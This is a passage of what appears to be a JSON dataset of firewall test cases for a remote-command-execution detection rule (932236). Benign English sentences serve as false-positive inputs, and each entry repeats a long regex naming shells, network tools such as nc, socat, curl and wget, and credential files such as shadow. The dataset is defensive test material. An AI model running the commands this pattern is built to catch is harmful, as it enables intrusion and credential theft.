,<>\\|]|$)|oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932236", "test_description": "Known false positive with `Mount` at start of string (expected failure)" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "sentence=As you near your last year of trick or treating, though, sometimes jokes aren't enough.\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\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&\\),<>\\|]|$|[arx](?:[\\s\\x0b&\\),<>\\|]|$))|a(?:a-[^\\s\\x0b]{1,10}\\b|(?:b|w[ks]|l(?:ias|pine)|tobm|xel)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:t(?:[\\s\\x0b&\\),<>\\|]|$|-get)|parmor_[^\\s\\x0b]{1,10}\\b)|r(?:[\\s\\x0b&\\),<>\\|]|$|j(?:[\\s\\x0b&\\),<>\\|]|$|-register|disp)|(?:p|ch)(?:[\\s\\x0b&\\),<>\\|]|$)|ia2c)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|cii(?:-xfr|85)|pell)|dd(?:group|user)|getty|nsible|u(?:ditctl|repot|search))|b(?:z(?:(?:z|c(?:at|mp))(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more)|a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$)))|c(?:[89]9(?:[\\s\\x0b&\\),<>\\|]|$|-gcc)|(?:a(?:t|ncel|psh)|c|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:[\\s\\x0b&\\),<>\\|]|$|(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|s(?:(?:h|cli)(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:(?:t|rl)(?:[\\s\\x0b&\\),<>\\|]|$)|psfilter)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|ontab))|d(?:(?:[dfu]|i(?:(?:alo)?g|ff)|ash|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:(?:b|qn|cho|fax|grep|macs|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:v(?:[\\s\\x0b&\\),<>\\|]|$|-update)|d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:h|ac)(?:[\\s\\x0b&\\),<>\\|]|$))|x(?:[\\s\\x0b&\\),<>\\|]|$|(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool)|2fsck|asy_install)|f(?:(?:c|mt|etch|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:[\\s\\x0b&\\),<>\\|]|$|(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|g(?:[\\s\\x0b&\\),<>\\|]|$|rep(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:[\\s\\x0b&\\),<>\\|]|$|letest|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|tp(?:[\\s\\x0b&\\),<>\\|]|$|stats|who)|acter|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$))|g(?:c(?:c[^\\s\\x0b]{1,10}\\b|ore(?:[\\s\\x0b&\\),<>\\|]|$))|(?:db|i(?:t|mp|nsh)|o|pg|awk|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:m(?:[\\s\\x0b&\\),<>\\|]|$)|ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:[\\s\\x0b&\\),<>\\|]|$|-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:c(?:[\\s\\x0b&\\),<>\\|]|$|at(?:[\\s\\x0b&\\),<>\\|]|$))|ep(?:[\\s\\x0b&\\),<>\\|]|$)|oup(?:[\\s\\x0b&\\),<>\\|]|$|mod))|tester|unzip)|h(?:(?:d|up|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:p(?:[\\s\\x0b&\\),<>\\|]|$|6?tables|config|p(?:eveprinter|find|tool))|(?:rb|conv)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|spell)|j(?:(?:js|q|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:(?:bs|in)(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|shell)|ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$))|l(?:d(?:[\\s\\x0b&\\),<>\\|]|$|d(?:[\\s\\x0b&\\),<>\\|]|$)|config)|(?:[np]|inks|ynx)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|ua(?:[\\s\\x0b&\\),<>\\|]|$|(?:la)?tex)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$|c(?:[\\s\\x0b&\\),<>\\|]|$|at))|(?:c(?:at|mp))?(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore))|a(?:st(?:[\\s\\x0b&\\),<>\\|]|$|comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|ess(?:[\\s\\x0b&\\),<>\\|]|$|echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:ca(?:l|te)|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|trace|wp-(?:d(?:ownload|ump)|mirror|request))|m(?:a(?:(?:n|il[qx]|ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|(?:tr|v|utt)(?:[\\s\\x0b&\\),<>\\|]|$)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:c(?:[\\s\\x0b&\\),<>\\|]|$|\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:t(?:[\\s\\x0b&\\),<>\\|]|$|(?:c|st)at|kit-ftp|plan)|ofetch)|(?:l|p(?:m|ing)|a(?:no|sm|wk)|ice|o(?:de|hup)|roff)(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:[\\s\\x0b&\\),<>\\|]|$|ap(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:enter|lookup|tat(?:[\\s\\x0b&\\),<>\\|]|$)))|o(?:(?:d|ctave)(?:[\\s\\x0b&\\),<>\\|]|$)|nintr|p(?:en(?:ssl|v(?:pn|t))|kg(?:[\\s\\x0b&\\),<>\\|]|$)))|p(?:a(?:(?:x|rted|tch)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:swd|te(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:b(?:[\\s\\x0b&\\),<>\\|]|$|2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|f(?:la)?tex|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|f(?:[\\s\\x0b&\\),<>\\|]|$|tp(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$|o(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:[^\\s\\x0b]{1,10}\\b|[\\s\\x0b&\\),<>\\|]|$)|dstat|(?:gz|ng6?)(?:[\\s\\x0b&\\),<>\\|]|$))|k(?:g(?:[\\s\\x0b&\\),<>\\|]|$|_?info)|exec|ill(?:[\\s\\x0b&\\),<>\\|]|$))|r(?:[\\s\\x0b&\\),<>\\|]|$|y(?:[\\s\\x0b&\\),<>\\|]|$)|int(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$)))|t(?:x(?:[\\s\\x0b&\\),<>\\|]|$)|ar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep))|wd(?:[\\s\\x0b&\\),<>\\|]|$|\\.db)|(?:xz|grep|opd|u(?:ppet|shd))(?:[\\s\\x0b&\\),<>\\|]|$)|er(?:(?:f|ms)(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:5?(?:[\\s\\x0b&\\),<>\\|]|$)|sh))|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:ed|ql)(?:[\\s\\x0b&\\),<>\\|]|$)|ftp)|y(?:3?versions|thon(?:[23]|[^\\s\\x0b]{1,10}\\b)))|r(?:(?:a(?:r|k[eu])|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:[\\s\\x0b&\\),<>\\|]|$|p(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:d(?:[\\s\\x0b&\\),<>\\|]|$|carpet(?:[\\s\\x0b&\\),<>\\|]|$))|(?:v|boot|place)(?:[\\s\\x0b&\\),<>\\|]|$)|a(?:delf|lpath)|stic)|m(?:[\\s\\x0b&\\),<>\\|]|$|t(?:[\\s\\x0b&\\),<>\\|]|$|-(?:dump|tar))|dir(?:[\\s\\x0b&\\),<>\\|]|$)|user)|pm(?:[\\s\\x0b&\\),<>\\|]|$|db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|l(?:ogin|wrap)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:c(?:p|hed|ript)|g|ash|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:d|ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:[\\s\\x0b&\\),<>\\|]|$|arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:[\\s\\x0b&\\),<>\\|]|$|\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|sh(?:[\\s\\x0b&\\),<>\\|]|$|-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|u(?:[\\s\\x0b&\\),<>\\|]|$|do(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay))|vn(?:[\\s\\x0b&\\),<>\\|]|$|a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|mbclient|o(?:cat(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:[cr](?:[\\s\\x0b&\\),<>\\|]|$)|il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|skset)|(?:bl|o(?:p|uch)|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:p(?:[\\s\\x0b&\\),<>\\|]|$|dump|ing|traceroute)|l?sh(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:[ex](?:[\\s\\x0b&\\),<>\\|]|$)|lnet)|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$)|medatectl)|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:dp(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:[\\s\\x0b&\\),<>\\|]|$|imit(?:[\\s\\x0b&\\),<>\\|]|$))|n(?:(?:compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|pdate-alternatives|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:i(?:m(?:[\\s\\x0b&\\),<>\\|]|$|diff)|(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|algrind|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:3m|c|atch|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|oami)|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:(?:x|pa)d|args|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:[\\s\\x0b&\\),<>\\|]|$|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$)))|y(?:um|arn|elp)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$|c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932236", "test_description": "Fixed false positive with `As` at start of string" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "sentence=At any moment we can make a decision to change.\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part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|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more)|a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$)))|c(?:[89]9(?:[\\s\\x0b&\\),<>\\|]|$|-gcc)|(?:a(?:t|ncel|psh)|c|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:[\\s\\x0b&\\),<>\\|]|$|(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|s(?:(?:h|cli)(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:(?:t|rl)(?:[\\s\\x0b&\\),<>\\|]|$)|psfilter)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|ontab))|d(?:(?:[dfu]|i(?:(?:alo)?g|ff)|ash|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:(?:b|qn|cho|fax|grep|macs|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:v(?:[\\s\\x0b&\\),<>\\|]|$|-update)|d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:h|ac)(?:[\\s\\x0b&\\),<>\\|]|$))|x(?:[\\s\\x0b&\\),<>\\|]|$|(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool)|2fsck|asy_install)|f(?:(?:c|mt|etch|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:[\\s\\x0b&\\),<>\\|]|$|(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|g(?:[\\s\\x0b&\\),<>\\|]|$|rep(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:[\\s\\x0b&\\),<>\\|]|$|letest|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|tp(?:[\\s\\x0b&\\),<>\\|]|$|stats|who)|acter|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$))|g(?:c(?:c[^\\s\\x0b]{1,10}\\b|ore(?:[\\s\\x0b&\\),<>\\|]|$))|(?:db|i(?:t|mp|nsh)|o|pg|awk|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:m(?:[\\s\\x0b&\\),<>\\|]|$)|ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:[\\s\\x0b&\\),<>\\|]|$|-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:c(?:[\\s\\x0b&\\),<>\\|]|$|at(?:[\\s\\x0b&\\),<>\\|]|$))|ep(?:[\\s\\x0b&\\),<>\\|]|$)|oup(?:[\\s\\x0b&\\),<>\\|]|$|mod))|tester|unzip)|h(?:(?:d|up|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:p(?:[\\s\\x0b&\\),<>\\|]|$|6?tables|config|p(?:eveprinter|find|tool))|(?:rb|conv)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|spell)|j(?:(?:js|q|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:(?:bs|in)(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|shell)|ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$))|l(?:d(?:[\\s\\x0b&\\),<>\\|]|$|d(?:[\\s\\x0b&\\),<>\\|]|$)|config)|(?:[np]|inks|ynx)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|ua(?:[\\s\\x0b&\\),<>\\|]|$|(?:la)?tex)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$|c(?:[\\s\\x0b&\\),<>\\|]|$|at))|(?:c(?:at|mp))?(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore))|a(?:st(?:[\\s\\x0b&\\),<>\\|]|$|comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|ess(?:[\\s\\x0b&\\),<>\\|]|$|echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:ca(?:l|te)|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|trace|wp-(?:d(?:ownload|ump)|mirror|request))|m(?:a(?:(?:n|il[qx]|ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|(?:tr|v|utt)(?:[\\s\\x0b&\\),<>\\|]|$)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:c(?:[\\s\\x0b&\\),<>\\|]|$|\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:t(?:[\\s\\x0b&\\),<>\\|]|$|(?:c|st)at|kit-ftp|plan)|ofetch)|(?:l|p(?:m|ing)|a(?:no|sm|wk)|ice|o(?:de|hup)|roff)(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:[\\s\\x0b&\\),<>\\|]|$|ap(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:enter|lookup|tat(?:[\\s\\x0b&\\),<>\\|]|$)))|o(?:(?:d|ctave)(?:[\\s\\x0b&\\),<>\\|]|$)|nintr|p(?:en(?:ssl|v(?:pn|t))|kg(?:[\\s\\x0b&\\),<>\\|]|$)))|p(?:a(?:(?:x|rted|tch)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:swd|te(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:b(?:[\\s\\x0b&\\),<>\\|]|$|2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|f(?:la)?tex|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|f(?:[\\s\\x0b&\\),<>\\|]|$|tp(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$|o(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:[^\\s\\x0b]{1,10}\\b|[\\s\\x0b&\\),<>\\|]|$)|dstat|(?:gz|ng6?)(?:[\\s\\x0b&\\),<>\\|]|$))|k(?:g(?:[\\s\\x0b&\\),<>\\|]|$|_?info)|exec|ill(?:[\\s\\x0b&\\),<>\\|]|$))|r(?:[\\s\\x0b&\\),<>\\|]|$|y(?:[\\s\\x0b&\\),<>\\|]|$)|int(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$)))|t(?:x(?:[\\s\\x0b&\\),<>\\|]|$)|ar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep))|wd(?:[\\s\\x0b&\\),<>\\|]|$|\\.db)|(?:xz|grep|opd|u(?:ppet|shd))(?:[\\s\\x0b&\\),<>\\|]|$)|er(?:(?:f|ms)(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:5?(?:[\\s\\x0b&\\),<>\\|]|$)|sh))|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:ed|ql)(?:[\\s\\x0b&\\),<>\\|]|$)|ftp)|y(?:3?versions|thon(?:[23]|[^\\s\\x0b]{1,10}\\b)))|r(?:(?:a(?:r|k[eu])|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:[\\s\\x0b&\\),<>\\|]|$|p(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:d(?:[\\s\\x0b&\\),<>\\|]|$|carpet(?:[\\s\\x0b&\\),<>\\|]|$))|(?:v|boot|place)(?:[\\s\\x0b&\\),<>\\|]|$)|a(?:delf|lpath)|stic)|m(?:[\\s\\x0b&\\),<>\\|]|$|t(?:[\\s\\x0b&\\),<>\\|]|$|-(?:dump|tar))|dir(?:[\\s\\x0b&\\),<>\\|]|$)|user)|pm(?:[\\s\\x0b&\\),<>\\|]|$|db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|l(?:ogin|wrap)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:c(?:p|hed|ript)|g|ash|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:d|ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:[\\s\\x0b&\\),<>\\|]|$|arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:[\\s\\x0b&\\),<>\\|]|$|\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|sh(?:[\\s\\x0b&\\),<>\\|]|$|-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|u(?:[\\